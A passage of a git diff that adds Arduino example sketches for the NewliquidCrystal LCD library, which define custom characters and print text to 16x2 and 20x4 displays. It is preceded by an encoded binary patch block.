zv3an4D1@yg>7k($z-D3Wsi0P2bs}S!P#eESzJRQGzJS{NWF9tO3bDCNgH2{(sn_Nz zD-JqzegUaRhs zqo(#U*W!;uU(CLicQZf!&Cp?QJ`CK3pd{9uu3L#Xk>fD)hgSCa0=Nu;Aev;XSr(or z^Y^Ta!?fnVn0IR!L5_>!utyWe5TyE`%zd`-&ZjN-;BH(xSNNTs(2Hwp7e<%VPsnBG z*C=*SH%p!SRL(-8b;0o%-C5W4`Qa3@O2r%;USUl2Kr2gSGDJ;B%zhFkXTOv;@2}@p zVk<5bmw%KH>@uYPk3j{9`+q;=860RAMn`sq5U%=Q=NRAh3v^*T5)4Z9_=E(hv5I#L z;T)W~59b7>O&sI%ptiMF24!5?qcCBu(Q-#-)x(%t0p)5;Nkm#$*H! zvs@M+WNKB`7`Tn@WZIE3*cd}6qct5aK+TSh)O5JDH0)8+;nu2E z)8R6MPISgC?r?GURXtC-SLG53^^&9-Yph(P`VydK@L0}k4z;0Ib6_rGe~hJ@ctzp^ zi_U>KPH<(|*1%v1o|Kd%-dGZdLp)x0DY8%o%GB5#lZtREBT20QDPuv>o$WB1(03zM zrDD-RMw}E)LfE58Vr)g*p;CON$+*bs*+~tng4_g*9#wB?$wi5Y=^1G$Xnh0sOdu*Y z(r^zUcjfbURWh0g`{}t=3Fr?RSI;DeF{En8*GQhEh9lJr5Q2doF;pgkE^PEJTUM=T zA|rthz{)w^o^TYT!}6psdcat&bWuTTPce?7Mn zTXE62?ZJoY$0=dpG6s9G?T3gmbikzs{94G8CEZCk0erDGTYb!h@CTJB)*9tnzhPsr z?tsVhtO^ABgN9!PKSvAV8pEeUNY0v7+u1=C8%gdskVcjCp!Z`*qa2FUhODc4IXk`y zVCEGc>0%v49s0@ivIP38_9(5D1Qei+x2|w(7IvUp);%1SYHNHy%Ru6bWDZ${3&VH=8hO`O+-@761qpud<}^ImqIFg1n94 z*5`%Xdd|e@Ss8J_K90-flsvEyvNJ-RkB$i28o=a%B{QxK{lQ)W#BmVsujgiY@NXLT zE%2jf^!QMNCP3RrDVnC%lr^BC0-6 z-46I5JrsF=K0b5P@DJhlSAw|4w2zNS&Kg87W{9ShdZ9y4b`&|h{`X)lSR+Y+Fq&TwF^yz<7}$ zZ$n_TL$FhwUOVQBCN>g*E9f zXpl$NB9KAF9L;X2fruJL6nr|zngr-erNUD2vrJM8wyGUdGy{SnTN^ zYc;~Faamki0e^+bkr+47x8SpJ2=A}w)?~${vp4`!51)?4HHOJ1lAJZoGaN$-!z~tB z`#VAegu|u+98*n$gXXLY2M{Bu1k9G30FIkXgM;R*3kTYW2rBNF25?L>4Gx;K1`aZo zL1PIv15K9cfW~yw(4aYM&}hQC4!)b@&UMk=OO~E7DG{iqM6zBN#Sv5+C*}S1+;SP5 zgT%GW07z!=>1Y&VdQ+OS29hv3Koz6r;@@x-EZen~TL7=srr~uf$ytLJX;84IYIjWb ze|{4*ki80!{bm|un}m>IE@s*=X`|$%VHt55<8sC(W@IL%r6R0?L655)BP2&Wj+QbuBY&?t0bF|SDgh|Sc6W+bA{FfmwI0N2ta1bUKuHElp84s7Br zFF|*F)4lA-Ze8mlWVnacO&R2aWgb)u%eYN~j>^w9(6zu5ZGk>7;8l;D5&)M1RjpcV zG~)dfa0QjefxN$-TggRn(YSrVCzek~V;C{Eh%K$vvpGB^yey|uE>bFO&QuZd$C7rF zU=U032@ISJCm3MBcfy+lgZRFA0s|+z2?iMOj*dw%h)u)sd;L_16%0UNJ#v$PpgQWB zZj(;Fb(F}tgIvAXrhdhm(Y7GdhYph~#P@387NCq{@cw#kO;&O`6rVksI7amELs8y7 zYiPeI7#x!Wh7b7`6-q{6G)#z5s9(E{9JdG6ZllSNiT4^q{nV=GKr>&6Ycdj}gv`?j zn8$yOR1ObWBejUrNG+;VBNbw+ng#hmM=2T-0@-LHk-BR<;V18}=k`rS(xLe5(Zn&L zv8JQEeL6IJhpgL`XZLvgQ$6D#4>DC$h8_9N|F`%3&v7KzeOM9z0W3lCNZnbw(;eqd z))`0fcmQ>$J3*0rAPF8J5?>4~c|6gltpzY3S6u8uJG-Qyud$qR$(E{|xE#4GJGNZ0 zWy|GM#dcLHDZ8Anc3e^=m9m}um|yZkzWtWJAn(0?J@clg2fHMCma|w)k(l1@p8oRb z*WIsQzkVG<&;@>LR{V-UuWMcDpbFq}tb>{{h_~EV#}x}NEv0r&Y-;F4W;PX&=d1FmcZZXCwE zZZt~;TE$4SRI5#BA!ba19Ah~6hbludMEa+>lVA0OO|)NjJOQ|Mb;?x$H&CZsu@&`W zw44j(vx;danD@tNmBZt$M)QO}b@SRjD1V@jnql)agw zlu+3|NCLVqTCto2ETeP2&~n{Dc#5==gYaRE|&f1*g?X}s~h0R}ls zr7ImDBrLvR9V&+dzmvAH0AV23`roty1(%O>p=La2SlRWmCsI$H=?!J(DFj@7KLvlw zN;XICqphR3)_?&*OwTCdqf~OyZ|#!)X>J`?zB%qM;Ts0|ej65CTd&0l_Fp+Lh_eGZwwOJYe!G8Dc_dCosWFzAX0l zkRQndAitU+Ae43jkfUWX`jeyK^1B&gKxrp1fcrOgl?DNf$~i*f*D^$c(oP^TR;vUp zHkCHnt_Rh-b$`>VHR^Zs&^vx3Lp&($1Rf&`CBKP=B6CC)znLKlly(AzaiofcI@o+0 zbR>%9m?$qV)5dRQND`EGf+R*8?Upjlm!qEX+Zn<@Y1?5SRj1K}TL$;Tt{U})ar@3W1+O3h$ zZ|%=-7qr2>PuGuWgEHt(8wv01!$v~u9;_~^Xo&klADc=Tg{vyT?i;jWZf*vC2@1nU z`I&ar%VA>~$ul93E-kMv(kc0TTnkL4ltTc+;T{O1M~|&tyIH!j{4N^K7;q>i=5EZb zE|yEH3-26)F%gY<07ia{io6V^`Bb(Yg=}^tn1Ny3xr5A)Kd3fa?Mlr{zYm1>?vNMA z{kE{f0mg2Np;!&(9#pC|HiaL;hc|8PsckZ7@Lf<;ZH&(+(eiD{-`???l~%inv-hN? zK;q61F%+Dc-E#9WWP8?p?7c;e9c(0ZL~d+KaZIMlV8lp4iiyWEI8hwwpXN>^1|Aq! zK1Lje9e5hENeq04tP=B#hpbX`W8@*L1l_Rz7sZQC7R9&V>c0NI3%0m8ce}hczqGcz ziudp3!gAURdeAopeCKU;Rt@_)8>Z?rm#;0Xl;^HoE|;#&!?Nh|wWZt`m7@~JOHHMB z4vnWWF?cdKoKp`P%^M&Qf^1LoeYw$s=^P6OHKH_y13McD2Pf|cg6o0ol&(_g1z`3& zTW~SCMwsC}WKSmm!vUltW+9s3uvCSDrGJ`RrlZ{)H_cd~bGo985}a1Cw*BTC5l;Fd zX7ufd&XGGQWb}95S3FE%b{79mdDH7N)6?*8+I!`^HDCq;@D6y(M>A<3&7^+>S=n=% zncm~0w47!zC+};z-SC~(&eC7T*KQ7{RjVbg^ES70*Atb^ji|{_ao5p3y%X0J#MrT8@bXH!5} zsPJ))(`Qs;7<1E^I4-lZl}%KzO+UyX@Of@3`q(=M?ox=cxdc8gV{#oQV_$?7R}Ks1 zP=NGLa~ny??>-AZ_)3#lEazz3Z5llv!Jw!T&d)5hx1$c-74G>E5(0j=;r|`k3XG|9 zG~ZL17_^({qnq8whdOtE%%f0?!!W-Brqvly*M73j}aEDqaW&@(I3ai*|(>UcH;8| zVkcsJemAUrR2k*Mnwoz2Tl%ND)4s#_`Z3}-M(|^pO=8}k?4EZQSPmNX*{_^9@kpGy zfG=m9x~4xxATcU*OoJ)P66LzNdSnTZW~X!)>&TbK3NP!E=8k>9KRE82_{PVG;}{dl zCebfP%0ZRxXwAzho;2(7j?u6injbE2SMc1t5Wt+%`wdT&M(8$<>}iBA{m@lqzJYgS zaCHILgVL0;2j!B=!T@E`T)aMG-FUICVGBcIkRG%-?j0+fN7btJ5X8!c{~9e| zDz(K12$C92^^+9jQ4C5-^4F{&o=6Cv^ez|b1KQ>~nCN;s*R5i?@yT|sqihm$9p%}d zEBk%Ok#28*e%@>0o>!l%k}Ta^EU(QiuH2ZE9-b~J6m|{8|WuPNM>jGD8n8GRK=X@jQjK8!9x?CQ4()Tc_T5u1^=CQL%n7u z*d<}d+JS#?_^06KPg~+TFWlc#nHaqLX@OCsz24Ps@+51md-$C>K*Uwohxt69#KBT$ z44#6nXGJ3>k8yOlm+h?ko%86t zh-^WlP_iQ~=cNr-p&)D{9bD1lybaf^9q}2_hVhe3v}@jRYH`+lKLs5S*GRJcM1f@6 z-3OGM!}B=(4{b@XG4H71vM5}`+IEy@f3BwXAxkuQras;$&D+A^Wh66vV$?h|a;9{ry%K{=GJM*H^)5(e&1j>7Qvpm{?IX8_U*hl zT=sFg5W$u0((2nVczc&Ysn?5k{yi{psV>w8vl89}s$6?-?^K$VZN0j?Q?0-6!3hj+ zr&`y3UL^<`8&yzB+VoltOim!J3SP`!p+ViJs{D@ z2mQq3xRmxgttYx!E*2tM>1w%n5!=&j@=ag2xN4~=V{eLD=1r)(<2v_8%h;De`q2Fz zD^<}h&UmeVVrx5XxjU$|z)BYMSd3JH{u;Jq7%!-M)7TBd%0bc_cs=b_ zyH-2z`ORjd30-B^Ye0FL-h)c5?eq62c}R#GR0-6Kh89}}a@@49S}j&1_7XRUuHkG9 z{SkJHRWM$m$ZMnBZ2H)WekA}i7C^U=O$%=wM@6K5R1v;FgQ^Htqhx^m67&vce1LAM z?Z6-}@ez=6Wiy_zEde#iD#1vaGz16Sn}bSU_Uk9Tx7rccnuN}ZtRoU4IC@q|!p+-LJ&EYr&%QhU> zEa{v0=MI4 zqihm=f1(@?v5@6495($*JrA(Z-EP^#LfIr>DVE_V_vL$)dfl%fE-ZP;11?`DTFIPT zD4PT>M56sEg6Rq*H@q!kCVjG+ibMgYn=^bQ@isY(I-#g?5&=Q zZ%tpAo=%C^t=Nh_=k(JQd)&7pV{E~Z0vfE!ehSsK>V&pl;hz^AIgpT;=snOet zN@urRT3DP1QXW@x9W3UUfeXo-%h-|M$Ij-Vp{4LkaL5X#xn+Fq=D2Aa(C!I|a!Pi# z8}nDnD+_2WeE$HA5r-Y>rN;1B7bDCtVTBNUo-P4iXEOv2iesy8)2HNaIUeW~# zz2S7ECPnz30K_Wy#&kAub>Rk(P)DQPKmMT!_ckxj#+6=ZWRQlK3dD+tK#gcLqgu?Y|AXQBU(U;VaDNagQxAZse3@@ zRE`GCJtF~)+*s890r5R3?ax{OcMsy{I)fPLlt8KW*l5WkHKNJ0dQX5XTY)?oQQ+)s zvyHmQeTLu;6!{N(f*>nt8~quw2g{N4H~Pcn>A3ufz5ti3M4CJH0sp|b^0CAzV0dC| zzu{1Fd#FGi!LGnozth}N?8wD&(*z-|o6Bxp3i)WB@S$Y+u@do7D9w^YlW}v6ihWHV zMoDVo5ZFM9W_`?{c#Eaat%)E7{!gDU&u;_TqAm7!^uZS12lS3y*ErqYvqgT;U^HaU4htIWi8a} zRc2UY6CyDD2XO$>;QG1hqHYC255dGfoKIu7La*ptEV04j1(cF z#!*OwI${lUhHIeg1YK(RIuLk^^omrXE4Msh>o0hPNVQsj(75j_g(b{6-j!5Qq1R!M zB@a+Qh7O5J?4WW~zYCRs9I1z52vmBj(NqdY3=S2TKntq%4bYE*L&TN3w^`Y)+*N&< za|v?>d%_LShpundd{oO?Z{LLu*_7R#bgZEJ`BW5drP)9|V(6l*Aw|6lXeQRJJ~_bM z>I%+K2`+h}yuG^?-pgUyW9jD`f%$%Om0F|z_ol@^9i8ZgRSDHKa0sr8*3;4#zh~t`SD4#^HDwaVf6sGl3 zb=!vmOt$L*Tq6$ZptVN*ZXQU7?lR~BJoY;iPQk>&j8=-MRf{2*XUSk{&rBlWn!;|V zX3~hTo)M9Ce+p)*<3>5sq~FLJzl!@-dZV7SWr1L#v(bUn2e6bsqs(! zvcN_`(m&0u(~xhDi}Ev;BgxPqmrY{Vx+vn2tj1+Jn+jPU=e9__s6Eya6Ldrl&v0qb zbt{QWtA;T=R;xHKD}&OYlm0Tkc5^t|=dj&m=MqM~X+%>Ovjr2;-IG`*8x4cEMrUX! zTjMRMqSG#M#A|bxEpc7q$X4$5iKDZvo&7@gGXUAU8AE2bz)W|rf&o#aKqy3K+Uv>~ z%zp8>10}It%;%DXIDI<_;kF5sq0ba3Do|vb?Le2Xtt&D$V0%i9VB$16qK8K%I}T>K z>4a!T(5ArS61|!gy-9^0Tl|1xq+4|nvp_b6Pxsq(zX-+uPR2u-{owM`3Pn5!UW!hc zLvi*p1tRdw4I%zAl=&ZL4BsGtIL2eLG`)H=A1Y4k?C!1l|YSe0thqyZ$pbo?KHmEburhY7P zrFpkaAs$?^il!h)LE$CRM0iPUmx5^}_#AvtOMy-KZTcHEumDJfK&=9>cT?S}D$`5K z?h+YX!hPv-wLaIpJL6q3>QHS4t*Fqt9I&^_-;=Qj{2m;Tz(q5Gz=wU?&An2n*3VNS zPy&_4$IUcgcerUy0!qP_pp0TGU%*LOeFA#?Q~2+a9#hA0rv2E9`^LWk&wrnBKl!&^ z^b@cy1|{i^`O5cN=r5rjf1NR+e`Q5f@Dys;VRIfm8+GFAbcum<13rm|!+!(;|H%^9 zWiR=$O5Yf@Kcq%&7#OyycVRkP0u>Lu{AUy8J6%nQJy|9F4V318W(?5ZS^;{_0BG%A zyS3SPSkE0q{|6w#8e}Q0{J&O+Ame^jCco-r&$5rz$cK@{0v~00wuD^8GihTH2C(J_25G4DIBD5HCJVhh2`qA~{w>$hk zhB+kEX1d2O9}80rld4P%EO$_yw?Z}2K|CpFE&GYLCpf%j#o-B=ht|U$wYhA5>5dTu z|Bz5w;<_Un`+?UdX(l0)R7$$_ON`&lDui2*$* zgC~vq`=HG6?cK}r=%uh!!JJmu)3}R9g6J>=92_XU$SwWT+=-8(^gfK=;A6zu_kNsc zIm#nSpL_fWXnwa*3%I*2;p`_2D9VfQ-?+Gv%Iy*j`x%L0JY3#282MPZKyhD%|1%kr zkKK6UFcKK#E+$y`r5-L&)RA(7*XvNg&t#03T_Qus^ye({&VIKp;k0{yPa>1^^DC>% zi{<63SHYe-Hswib&*)Er=8m)@mk!(OY`m}NqZKI5hFKL9IiQ+FKA?j3GHlzH zFbqT^!PFEG16azWrCjyy3SL!<_pvnt?;Oq4kmi+2t76L1o=yLZkyaBue=gAncf1x+ zp!833N3kOp$HnQ2_aUP&a5-!M`)pNwh^mK&EkKtLvp6!V7O?LcjuAb=AI#Q9_23;* zeQxGIyz}*EB&B2V;c-Z@KdqA2i$xwX9u2SADRn=LcYWtPUlrqBuSU*Iw87O9cHgdm zF)&iQ)#Jvns+YFE%fF6XH;=tx0Ndyd<5bxtUuGP%Ic`443bEgrXw4B8&4_Mk1&Sg4 z)7(Z<^1C(o;mhwhuEQ2)^T0+6AEzFH+Q?wI3Nr21@^McV7TZvuA7+aRpK>u!IZ3F% zQmfRigK4P%%F*3=>%~r8KvTNrDNPE^iqb785{XIwG&e;w{&3ts25+01v_rc66P1;# z7J9W)3&A01II9Il*c#E{jVCcK(UCDmeS}J5Zvw+N&Ne+pll~PX_+R9AoPon8{g2ir zJ*_+4T4j5u=Cci@?)u#sI(M_=Ka9TBJx$N&Vw|6hMKl1kRGnf-|1`Iel>F|$!jJzh zzvH+LVf}9^d84O%K*PG+Zowdbqq<#fbw8kePqLH^y* zby35=a!Vtw={XMOk(FBp0G9enO!jmeNr||H3BYpFlD0c63q>oIr!=|_CUp98Zz#ufGy?@or3El5vWz3$MpELt!YKgsj3ur^K%Y{{8^rnefIe>mYMV24 zZgDzI0~Zl_LNi|BX=s77*|xwl))okd2VQqP^6+p*H^he8EP({}rft2C0uc?8wA5cv zsfsM)NVk!c_^$90VEa)^T!+;C5tY2AHy(Nwb>H<{Vz^*Z?3;yu0j!-DvK3VoUa_L5 zC=<|2PF#Hl;spTFw%g*61nttM5X5Bn?mG}+3#MQ*tmF_x`wq+rJ?*dR%bB{H^gl4Q zwNplkHyFa+-c=u)W8-)jg-5V49n%=mECZMrPaeqsVC)>gxuq^!23iUI}|Q^t{QnT~d=@B&D23%1KM9KvT;X;b1M zeV@RWyJzQnAvG(&PFJB~fzTl=H&yb+l>40Ss&+AIcSLrQR`Q|vbq`7#4u zsdeEifXP>~#e|bj#RT^`az!U!1x&u0Ehe12fr*;wpzq}EJbvM80Lj;~g@ltgAbCm; zCvyDkN+GBxL(10ym#=4w3ny>jGS1Ui9eYoAlT}`Jhzs8Y(0(^t(0*PeZ-A!y7i{DD z)d$`4LAk;0&j7domo098ZpDpw2fYbMKj04+L`!(Jw|ZMjNdeM7%^goEN)O}f#}cQ2 zVTl6_^DY$2`q(7K$r}roR_EY~?pyP#YYWRu2wWZ%%g&~>q_g(&6gg-@VL=<-iUVHx zxl{2)D9sPIi_+ur(B8N*G<7Te>-irjK)h z0u?e#6zmez(JKq9^Otj@bxKm?EK#tVD>=40kE7&#UWkE8nI#PNJ33>6#;01lJ9tSY z@1{?kdu0US5f2wI;sf%+FR4=tS>nfndSgiWAhG5a^qq;;Wad*=PKzJ zA#AAu1xo)kca%!x;T;3FQHcPaqEX7Iw@X3(5l)w271@7IqUMQtyBz zV|hS>wBWNu!*2D1dG-_)cyZu-S}PdrtYO7PweXh1Tdx4vMqw`po2Ll9h*~^G~ z0mpSK8Jz?&>RyXhfD&raZVN5i?T%Ws5IfdO)DND%IOHfKV?&^B8 z$y@G_JV*+&y@38*EA%)LBvtA5*r^k=d`2^}`P7u{1*o61f?9k86 z=(@23iQeZ^(M$H^JvCMa61}n&y>S=^yU~UfkQF0sSW}}eCYz4&B>Y2_AsHh5)7;6g zddE(#Tfv(E@VYwHE6^LLQ@x0qevIaG#-vs;g9NAlI8AeSoY!ch@TYD={SE_^!&zJ2 zx3=Xo5wBMBn^M!PJAO^60f%BdbI=kB=Lb&K_eCq9lK^ORxEb28I~-4uI&~19sNMs} zi71vqE2=<-C;XKDY3}4#y_*5rRwPHd(xeu{|G^Mx*>#2q46$8iKO1-8z_2R|6BuH@ zY(T)Us|g?LMrr!M5r$ng_&8u8=dg5b=>rGIH>_jmaNu`RlNLw}j9GC}SekE&QD1!trc*#Vo3HO!9*WSpt<1TD5VH`%TS)w^}LkG|HZ-_1j3`HieWp$rnB zj4YJ=CR*Uk5qK%iKTNec5asr**f#6cM(h-0+TZYgtz zIqE3Coi!GefgKCdM?1t~v|68Qw;Ir2$gW);W|Hq`O%;?uf-1&=?F#p+qwVHAAo4p| zBSIM@5ux);Z_m7b5y)c%Y)m&$(G$-q>DBDpSTOd3m+^3*;k&;L8A$B+;QtRTX**lh z|3D?KE6FE_k5z(8yDguL(yoJp2_vi>mnb^QHGJpd>+grb@oEcimJul*SuN?7@wJ=7 ze;?oYXn%e?gM%`N+B|~eYOPU0USnhn9UbvFdgl{8fa4Do7}>!=8Cc+`0YARz101KQ zr+8uK@faCRPrAV)N|7yRX-Nu}{%LNRj&^G}^jrJ$+ZmN`kJOc9DxqBZ(}2Y4eho;h zHMUw0D@}jR2Xo4`{=TH>g?MFVXXC%IneE$u$-5mFG@SD}0bO^n( z0rif`RS$k?J^Il=JvjxU_Mqi$+^aObbAbu$aT&^WEFh;VABkL=zl!P3je#-vT&)xo2?xVis^d6;Ug(pb1># z8(%%9*M9{0@t!T`tX|m+2lhSleU7cCnO@Z;hwGIfw34oeojoZR>nq0LVN4(fMP|#Y z??N`bwGqoO8|>{nus>n)|HOpVa5CzSx6Ox&Ar$xf@ZV;MH5)YT;^lp#nJ2dE2LR|F z_H696i)8l==qb5M*tqk)$f%FO?U6e@kn8>t zFuw%&$yqQ(Ye-;!TB`%3qTT^btYU{Ks<0R_{z(5ccl-`=(&m7sYQ688M#Wewm8(%d!(Yac?&Mc0J&dCtBTg2`*)QfE?x@-$aLZn`N8^F- z9$>;+WqMp=Hf^K}ofCn|C}~9`s7dHV7&SQv)Wo;Q?+>{XLJr@J6drNRUI^b~8hlyN z`u>m{*RzL7h6jH}pnJ8FGs2_w;Sn^Mg~ zcF0g`vJBU32b;^jfNhoN)sKwbA)gKOZ9nSr$XE_Ar#C^k0z*W!EK7ZBgqt@sjm)t|ZzH}q3< zu2g%gcRax;O!}v}qu7y)00^1+q~l%mVyh|TQo3J ze8N&FM@DF90$?=8)~?+wU0Hs22{JvzV`yk%?#A5eV!5=s@XjG3w_gMdCZcf=e&t6g z>SZX+r+UzD>{9w+v@8uJIR2p8Y_%&j4@Dt%0~;(x!9gV-r;BK`;XhC)`M4f*>>`w6 zHJE!)sn#m%HJq424A&ct+98IoMIDY954$MkByN9~{OujTS!uPKh~uQDMY8sE2&4&Q ziW~*mqctBpb5R2bJ3<}d8=F#`l_}VZ7%thdwA(UZQIPacbL%wZo4axNl40O>-Jk7( zl+i<$3UNPVsTAcJEao9g6{z?koW1JRcTc>yr^fKv&kiZiXuXqydy}j2WPuU1+!M(h)dnYyM-Y4~0noG`CDgyE!hYC&}+PJR1tLD?=4)+i$)R zfmLL%(6=K*sd|ck=Y7S)6lQ1f@02&aJ~KTH|E9fH&RYX!AYj7tY+*BLAI+qH1XEHQcsnaTQQ6#x+Wi!_`^LTMP6@@? zkKg#i(D*LFqWzqnfo0!4dLbHeaqyU(jsM2xvo8b1NSwW9Ih5kl@PEE%V0}jAWK3FT z;^55ARyOs)rH&vyHx+&Codb6%+*>i1&&OpLeVE&9|;GeqW+D#YaPMQhtLt=yAA)@b|!GK%`M|=H^==v{QiRcj>EHo zx2$q9DE8Ta7__Su98JsBU;(7$U|PEx_&8R`3oLZu^`sl|wqXc3M0G~Jtx7F!%S?pI zm@&6ZO}qKK9em@X{rQ~@V3b=zBkn^IunmyuwgiuRGT#5sbtKB%bagaJ!B>XGz|98Q zKsBO4izg+t(9NMB{R`-?L+Sr%&uH~~RzRsG`%`SSZ}s4KPwZ!fkQ4E$K%?eoPxm8G z8rz<37R_h3%b!FiWeG4)%JFfMA?mkpiy!T@C=jrnh%E|CCd#%BpaDqyv5bclD*e;k zBAL*Mape;RC`T4lXg~cj**&8#0L{nj-(vvn2V71(5?e1Y%o$tXV=zk>T=o1@D*_!}mG8o$*AeWtK>#H`GFTC8%X0T8{ug`C+=|pfsf(5zQr)kER6P zFPts&x{eBh<^l=;BcG8AntM+wk{(oC+QV#$C literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/doxygen_objdb_2806.tmp b/libraries/NewliquidCrystal/doxygen_objdb_2806.tmp new file mode 100644 index 0000000..e69de29 diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde b/libraries/NewliquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde new file mode 100644 index 0000000..0c06514 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde @@ -0,0 +1,78 @@ +#include +#include + + +#define CONTRAST_PIN 9 +#define BACKLIGHT_PIN 7 +#define CONTRAST 110 +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGH_PIN, POSITIVE ); + + +// Creat a set of new characters +byte smiley[8] = { + 0b00000, + 0b00000, + 0b01010, + 0b00000, + 0b00000, + 0b10001, + 0b01110, + 0b00000 +}; + +byte armsUp[8] = { + 0b00100, + 0b01010, + 0b00100, + 0b10101, + 0b01110, + 0b00100, + 0b00100, + 0b01010 +}; + +byte frownie[8] = { + 0b00000, + 0b00000, + 0b01010, + 0b00000, + 0b00000, + 0b00000, + 0b01110, + 0b10001 +}; + +void setup() +{ + Serial.begin ( 57600 ); + + // Switch on the backlight and LCD contrast levels + pinMode(CONTRAST_PIN, OUTPUT); + analogWrite ( CONTRAST_PIN, CONTRAST ); + + //lcd.setBacklightPin ( BACKLIGHT_PIN, POSITIVE ); + //lcd.setBacklight ( HIGH ); + lcd.backlight(); + + lcd.begin(16,2); // initialize the lcd + + lcd.createChar (0, smiley); // load character to the LCD + lcd.createChar (1, armsUp); // load character to the LCD + lcd.createChar (2, frownie); // load character to the LCD + + lcd.home (); // go home + lcd.print("Hello, ARDUINO "); + lcd.setCursor ( 0, 1 ); // go to the next line + lcd.print (" FORUM - fm "); +} + +void loop() +{ + // Do a little animation by writing to the same location + lcd.setCursor ( 14, 1 ); + lcd.print (char(2)); + delay (200); + lcd.setCursor ( 14, 1 ); + lcd.print ( char(0)); + delay (200); +} diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde b/libraries/NewliquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde new file mode 100644 index 0000000..1112e78 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde @@ -0,0 +1,36 @@ +#include +#include + +LiquidCrystal_SR lcd(8,7,TWO_WIRE); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin + +// Creat a set of new characters +byte armsUp[8] = {0b00100,0b01010,0b00100,0b10101,0b01110,0b00100,0b00100,0b01010}; +byte armsDown[8] = {0b00100,0b01010,0b00100,0b00100,0b01110,0b10101,0b00100,0b01010}; + +void setup(){ + + lcd.begin(16,2); // initialize the lcd + + lcd.createChar (0, armsUp); // load character to the LCD + lcd.createChar (1, armsDown); // load character to the LCD + + lcd.home (); // go home + lcd.print("LiquidCrystal_SR"); +} + +void loop(){ + // Do a little animation + for(int i = 0; i <= 15; i++) showHappyGuy(i); + for(int i = 15; i >= 0; i--) showHappyGuy(i); +} + +void showHappyGuy(int pos){ + lcd.setCursor ( pos, 1 ); // go to position + lcd.print(char(random(0,2))); // show one of the two custom characters + delay(150); // wait so it can be seen + lcd.setCursor ( pos, 1 ); // go to position again + lcd.print(" "); // delete character +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_byVac/HelloWorld_byVac.ino b/libraries/NewliquidCrystal/examples/HelloWorld_byVac/HelloWorld_byVac.ino new file mode 100644 index 0000000..0a4d17d --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_byVac/HelloWorld_byVac.ino @@ -0,0 +1,72 @@ +//#include +//LiquidCrystal lcd(4, 7, 8, 9, 10, 11, 12); + +#include +//#include +//LiquidCrystal_I2C_ByVac lcd(0x21); + +//#include +//LiquidCrystal_I2C lcd_1(0x27,2,1,0,4,5,6,7,backlight_pin,POSITIVE); // DF Robots + +//#include +//LiquidCrystal_SR lcd(14,15,4); + +#include +//LiquidCrystal lcd(4, 7, 8, 9, 10, 11, 12); +LiquidCrystal lcd(8, 9, 4, 5, 6, 7); // LCD Shield + +uint8_t bell[8] = {0x4,0xe,0xe,0xe,0x1f,0x0,0x4}; +uint8_t note[8] = {0x2,0x3,0x2,0xe,0x1e,0xc,0x0}; +uint8_t clock[8] = {0x0,0xe,0x15,0x17,0x11,0xe,0x0}; +uint8_t heart[8] = {0x0,0xa,0x1f,0x1f,0xe,0x4,0x0}; +uint8_t duck[8] = {0x0,0xc,0x1d,0xf,0xf,0x6,0x0}; +uint8_t check[8] = {0x0,0x1,0x3,0x16,0x1c,0x8,0x0}; +uint8_t cross[8] = {0x0,0x1b,0xe,0x4,0xe,0x1b,0x0}; +uint8_t retarrow[8] = { 0x1,0x1,0x5,0x9,0x1f,0x8,0x4}; + + +const byte backLightpin = 5; +//const byte backLightpin = 10; +const byte contrast_pin = 6; + +void setup () { + //lcd.begin(16,2); + lcd.begin(20,4); + lcd.clear(); + // lcd.backlight(); + // lcd.setBacklightPin(3); + // lcd.setBacklight(1); + pinMode(backLightpin, OUTPUT); + analogWrite(backLightpin, 210); + pinMode(contrast_pin, OUTPUT); + analogWrite(contrast_pin, 40); + lcd.createChar(0, bell); + lcd.createChar(1, note); + lcd.createChar(2, clock); + lcd.createChar(3, heart); + lcd.createChar(4, duck); + lcd.createChar(5, check); + lcd.createChar(6, cross); + lcd.createChar(7, retarrow); + } + +// display all keycodes +void displayKeyCodes(void) { + uint8_t i = 0; + while (1) { + lcd.clear(); + lcd.print("Codes 0x"); lcd.print(i, HEX); + lcd.print("-0x"); lcd.print(i+16, HEX); + lcd.setCursor(0, 1); + for (int j=0; j<16; j++) { + lcd.write(i+j); + } + i+=16; + + delay(10000); + }} + + +void loop () { + displayKeyCodes(); +} diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde b/libraries/NewliquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde new file mode 100644 index 0000000..d0fd78c --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde @@ -0,0 +1,61 @@ +#include +#include + + + +#define BACKLIGHT_PIN 13 + +LiquidCrystal_I2C lcd(0x38); // Set the LCD I2C address + +//LiquidCrystal_I2C lcd(0x38, BACKLIGHT_PIN, POSITIVE); // Set the LCD I2C address + + +// Creat a set of new characters +const uint8_t charBitmap[][8] = { + { 0xc, 0x12, 0x12, 0xc, 0, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0, 0, 0, 0 }, + { 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0, 0x0 }, + { 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0, 0x0 }, + { 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0x0 }, + { 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0x0 }, + { 0x0, 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0x0 }, + { 0x0, 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0x0 } + +}; + +void setup() +{ + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + // Switch on the backlight + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite ( BACKLIGHT_PIN, HIGH ); + + lcd.begin(16,2); // initialize the lcd + + for ( int i = 0; i < charBitmapSize; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } + + lcd.home (); // go home + 